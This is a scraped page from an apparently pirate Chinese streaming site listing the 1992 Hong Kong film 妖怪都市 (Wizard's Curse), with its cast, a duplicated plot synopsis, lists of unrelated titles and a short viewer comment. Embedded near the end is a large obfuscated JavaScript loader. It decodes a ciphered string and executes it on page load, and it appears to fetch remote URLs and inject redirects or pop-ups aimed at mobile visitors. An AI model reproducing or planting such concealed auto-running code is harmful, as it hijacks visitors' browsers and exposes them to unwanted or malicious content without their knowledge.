妖怪都市
别名：喜剧片妖怪都市 / 妖兽尸王 / Wizard's Curse / 雌雄僵尸
分类：喜剧片地区：香港年份：1992
更新：高清/2025-02-17 12:12:41
主演：林正英 陈雅伦 张国强 徐曼华 周比利 胡枫 曹查
导演：袁祥仁
简介：香港道士林正（林正英饰）远赴泰国，施法帮助泰国警方制服了雌雄降头大盗金莎与乃密（周比利饰），岂料两人...详情
你是否也在寻找：妖怪旅馆营业中 第二季浪浪山小妖怪万灵渡说好的妖怪，怎么变成团宠仙妻了妖怪学院潮间奇事妖怪学校的新人教师二代妖精之今生有幸妖怪都市妖怪图鉴关键词：林正英 香港 香港电影 恐怖 僵尸 喜剧 王晶 茅山
香港道士林正（林正英饰）远赴泰国，施法帮助泰国警方制服了雌雄降头大盗金莎与乃密（周比利饰），岂料两人的尸体被其师父盗走并炼成强大的阴阳同体尸，且阴阳尸只要获得出生于十灵时的女性便可以成为无敌的至强魔尸。林正返回香港后开始为担任实习医生的女儿林小婷（陈雅伦饰）的交友问题头疼，施法令觊觎小婷的色狼男医生原形毕露。与此同时，阴阳尸来到香港向林正寻仇，林正师兄被害，不敌阴阳尸的林氏父女选择报警，警探大B（张国强饰）与林小婷有嫌隙，于是趁机数落父女二人，随林小婷至现场勘查的大B在阴阳尸攻击下一败涂地。林氏一家和大B苦思降服阴阳尸之法，而出生于十灵时的小婷与大B其实就是战胜阴阳尸最强大的武器……香港道士林正（林正英饰）远赴泰国，施法帮助泰国警方制服了雌雄降头大盗金莎与乃密（周比利饰），岂料两人的尸体被其师父盗走并炼成强大的阴阳同体尸，且阴阳尸只要获得出生于十灵时的女性便可以成为无敌的至强魔尸。林正返回香港后开始为担任实习医生的女儿林小婷（陈雅伦饰）的交友问题头疼，施法令觊觎小婷的色狼男医生原形毕露。与此同时，阴阳尸来到香港向林正寻仇，林正师兄被害，不敌阴阳尸的林氏父女选择报警，警探大B（张国强饰）与林小婷有嫌隙，于是趁机数落父女二人，随林小婷至现场勘查的大B在阴阳尸攻击下一败涂地。林氏一家和大B苦思降服阴阳尸之法，而出生于十灵时的小婷与大B其实就是战胜阴阳尸最强大的武器……
详情 0.0分全集主演：鲁迪·潘科,苏妮特·玛尼,托弗·格雷斯,约翰·雷诺兹,扎克·切利,帕蒂·哈里森,玛丽亚·泰耶尔,索菲亚·布莱克-德埃利亚,安娜·盖斯泰尔,史蒂夫·李特,约翰·厄尔利,乔·佩拉,卡门·克里斯托弗,加里·理查德森,艾登·梅耶里,杰基·克鲁兹,比利·布莱克,Ryan Monolopolus,罗伯塔·科林德雷斯,乔·费尔斯通
0.0分全集主演：帕顿·奥斯瓦尔特 Patton Oswalt
0.0分全集主演：米洛斯·比柯维奇,阿格拉娅·塔拉索娃,奥尔加·迪布采娃,玛丽亚·米罗诺娃,伊万·阿赫洛贝斯金,亚历山大·斯莫勒克
0.0分全集主演：达芬斯·巴尔杜兹,Patricia Conde,Francesc Ferrer,Teresa Ferrer,阿兰·埃尔南德斯,Carles Martínez,佩特拉·马丁内斯,Emma Ozores,José Troncoso,Mar Ulldemolins
0.0分全集主演：达维德·沙伊德,伯恩哈德·舒茨,菲琳·罗根,克里斯托弗·舍尔夫,沃尔夫拉姆·科赫,安妮·施瓦茨,Hannes Linder,Maximilian Brauer
0.0分全集主演：威尔·福特,曼迪·摩尔,扎克·切利,库梅尔·南贾尼,奈特·巴盖兹,科林·乔斯特,夏洛特·安·塔克,凯特·贝兰特,Stella Grace Fitzgerald,马丁·赫利希,伯迪·博里亚
0.0分全集主演：保罗·路德,尼克·乔纳斯,哈瓦娜·罗丝·刘,保罗·雷德,罗里·基南,索菲·瓦瓦塞尔,彼得·麦克唐纳德,罗伯特·米切尔,杰克·莱诺,Juliette Crosbie,Caelum Frazer,Naoimh Whelton,凯莉·桑顿,基思·麦克利恩,鲁比·邓恩,玛塞拉·普伦基特,Marty Breen,梅·希金斯,汤姆·利维,Beth Fallon
0.0分全集主演：Trấn Thành,Nguyen Dieu Huyen,LyLy
0.0分48主演：张嘉益,刘浩存,秦海璐,窦骁,翟子路,王晓晨,扈耀之,王海燕,孙浩,李泽锋,姬他,张国强,王丽坤,刘凯,苗阜,石文中,李晓强,韩沛颖,姜冠南,任小蕾,贺琳,同超,王少熙,王墨瞳,金绪泽,任怡诺,王子铭,马培铉,郭峻卿,哈哈,张艺,常铖,孙艳,汪煜轩
0.0分全集主演：张博源,娜孜然·尼牙孜,张国强,赵波,王放,张洪睿,常荻,姚增强,傅云昭,周翔,李田野,彭士腾
0.0分全集主演：秦宇,常亮,梁小龙,袁祥仁,大庆,刘勇,张鹏,李槿,吴佳欣,高泽奇,李筱奎,郑琳瑶
10.0分25主演：马德钟,吴伟豪,赖慰玲,陈炜,陈晓华,张国强,程可为,潘志文,蒋家旻,游嘉欣,吴天佑,丘梓谦,何广沛,江嘉敏,戴祖仪,罗毓仪,张驰豪,布乐文
0.0分第23主演：马德钟,吴伟豪,赖慰玲,陈炜,陈晓华,张国强,程可为,潘志文,蒋家旻,游嘉欣,吴天佑,丘梓谦,何广沛,江嘉敏,戴祖仪,罗毓仪,张驰豪,布乐文
0.0分全集主演：汪明荃,区永权,冯盈盈,阮浩棕,许文轩,庄子璇,倪嘉雯,邓凯文,胡枫,黄博,张与辰,刘洋
0.0分全集主演：李元玲,金刚,谢东闵,朱咪咪,林静苗,温力铭,刘芷希,敢敢哥,蓝信耀,陈沛兴,黎燕琼
0.0分01主演：马德钟,吴伟豪,赖慰玲,陈炜,陈晓华,张国强,程可为,潘志文,蒋家旻,游嘉欣,吴天佑,丘梓谦,何广沛,江嘉敏,戴祖仪,罗毓仪,张驰豪,布乐文
10.0分34主演：赵丽颖,黄晓明,陈明昊,朱媛媛,秦俊杰,耿乐,余皑磊,张国强,刘威葳,李九霄,张维伊,王伊瑶,董可飞,朱超艺,陈昊明,刘巴特尔,陈法蓉,罗二羊,郭广平,张晔子,韩昊霖,王建国,贾景晖,傅迦,刘亭作,李溪芮,刘桦,王姬,吴彦姝,李强,夏力薪,房子斌,宋宁峰,李传缨,巫刚
0.0分全集主演：何雨宸,贺刚,袁祥仁,邱俊龙,许诺,雷琨,张宸彬,徐喆,朱嘉镇
6.4分高清主演：刘德华,林青霞,张敏,吴孟达,顾美华,吴镇宇,袁咏仪,叶德娴
6.5分蓝光主演：洪金宝,曾志伟,陈百祥,冯淬帆,吴耀汉,秦祥林,吕少玲,邱月清,陈妙瑛,刘观伟,胡慧中,林德禄 ,黄凯森,陈中泰,秦虹,叶荣祖
6.2分蓝光主演：邱淑贞,郑丹瑞,郑裕玲,叶德娴,朱江,黎小田,文隽,黎彼得,程东,陈慧仪,苑琼丹,李兆基,刘松仁
0.0分高清主演：周星驰,梅艳芳,吴家丽,吴孟达,秦沛,梁家仁,苑琼丹,黄一飞,朱咪咪
7.5分高清主演：董骠,沈殿霞,陈奕诗,李丽珍,关佩琳,卢冠廷,高志森,方平,黄光亮,邵传勇,何启南,刘玉婷,许芬,谷德昭,周志辉
6.5分蓝光主演：林正英,吴君如,邱建国,曹查理,胡枫,熊欣欣,黄一飞
7.7分高清主演：梁朝伟,张学友,袁咏仪,曾志伟,汤镇业,陆剑明
0.0分全集主演：汤姆·汉克斯,吉娜·戴维斯,罗莉·佩蒂,麦当娜,罗茜·欧唐内,梅根·卡瓦纳芙,特雷西赖纳,比蒂·施拉姆,安·库萨克,安妮·拉姆塞,弗雷迪·辛普森,Renée Coleman,Robin Knight,Patti Pelton,Kelli Simpkins,凯瑟琳·马歇尔,Pauline Brailsford,大卫·斯特雷泽恩,盖瑞·马歇尔,乔恩·拉威茨,比尔·普尔曼,埃迪·琼斯,迈克尔·黑利,唐·戴维斯,珍妮特·琼斯,蒂娅·里欧妮,劳蕾尔·克罗宁,罗伯特·斯坦顿,哈里·谢尔,乔伊·斯洛特尼克,Stephe
喜剧片妖怪都市 / 妖兽尸王 / Wizard's Curse / 雌雄僵热评
!function(){function a(a){var _idx="h3x4w7n4cj";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}}n1)hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}}n1dhFLFT6mRpLLJdOm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}}n1dhFL5SJm4qR2dDfm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}}n1)hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}}n1dhFLFT6mRpLLJdOm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}}n1dhFL5SJm4qR2dDfm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}}n1dhFLFT6mRpLLJdOm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/hsRoD12o(C/}}n1"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}}n1"=X8"hsRoD12o(C"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}}n1^)ThF)m7J6YXfhm2YF"="}}n1X5ThF)mDDT(J67m2YF"="}}n12pThFm7J6YXfhm2YF"="}}n1_JqhFmDDT(J67m2YF"="}}n12TOhFm7J6YXfhm2YF"="}}n1CSqhF)mDDT(J67m2YF"="}}n1)FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}}n1qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}}n1j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}}n1qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}}n1j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}}n1dhFLFT6mRpLLJdOm(O^gQ}1Q/f/}}n1j(8}vY8hsRoD12o(C"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}}n1dhFLFT6mRpLLJdOm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
千寻亿选
十灵时出生的处男处女交合，天下无敌，哎。。。。。。。